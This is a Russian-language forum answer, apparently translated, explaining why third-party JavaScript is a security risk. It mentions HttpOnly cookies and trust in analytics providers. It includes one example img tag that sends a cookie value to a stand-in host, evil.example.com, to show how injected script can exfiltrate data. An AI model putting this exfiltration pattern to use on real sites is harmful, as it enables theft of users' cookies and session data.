Это может стать серьезной дырой в безопасности, поэтому вы должны доверять тому сайту, на котором размещен файл JavaScript.
Например, этот код может добавить на ваш сайт больше тегов сценариев и тегов img, которые могут передавать конфиденциальные данные третьим лицам.
Комментарий Дэвида о политике одного и того же происхождения может вводить в заблуждение. Классический способ передачи данных на удаленный сайт - вставить тег img в удаленный домен:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Если код JavaScript на удаленном хосте был изменен для динамического добавления тега img, такого как этот, то ваш сайт может иметь дыру в безопасности. Есть некоторые меры по устранению некоторых из этих проблем, такие как использование файлов cookie только для HTTP, которые недоступны через JavaScript.
Пример систем аналитики - отличный. Вы должны верить, что провайдер не будет принимать какие-либо конфиденциальные данные, такие как ваши собственные куки-файлы, и отправлять их в удаленное местоположение. Вы также должны доверять провайдеру, что их система безопасна и что хакер не может изменить файлы JavaScript на своих серверах. Аналитические системы обычно работают с использованием тех же техник, но, надеюсь, они используют это во благо, а не во зло. В некотором смысле это ничем не отличается от беспокойства о том, пишут ли ваши разработчики хороший, безопасный код и вводят ли они секретный бэкдор.
Что касается , почему это разрешено, это просто историческое. Сеть вообще не была разработана с учетом безопасности. Будь то CSRF-атака, повторная атака или XSS-атака, все это фундаментальные недостатки в дизайне сети, которые теперь становятся проблемой для веб-разработчиков.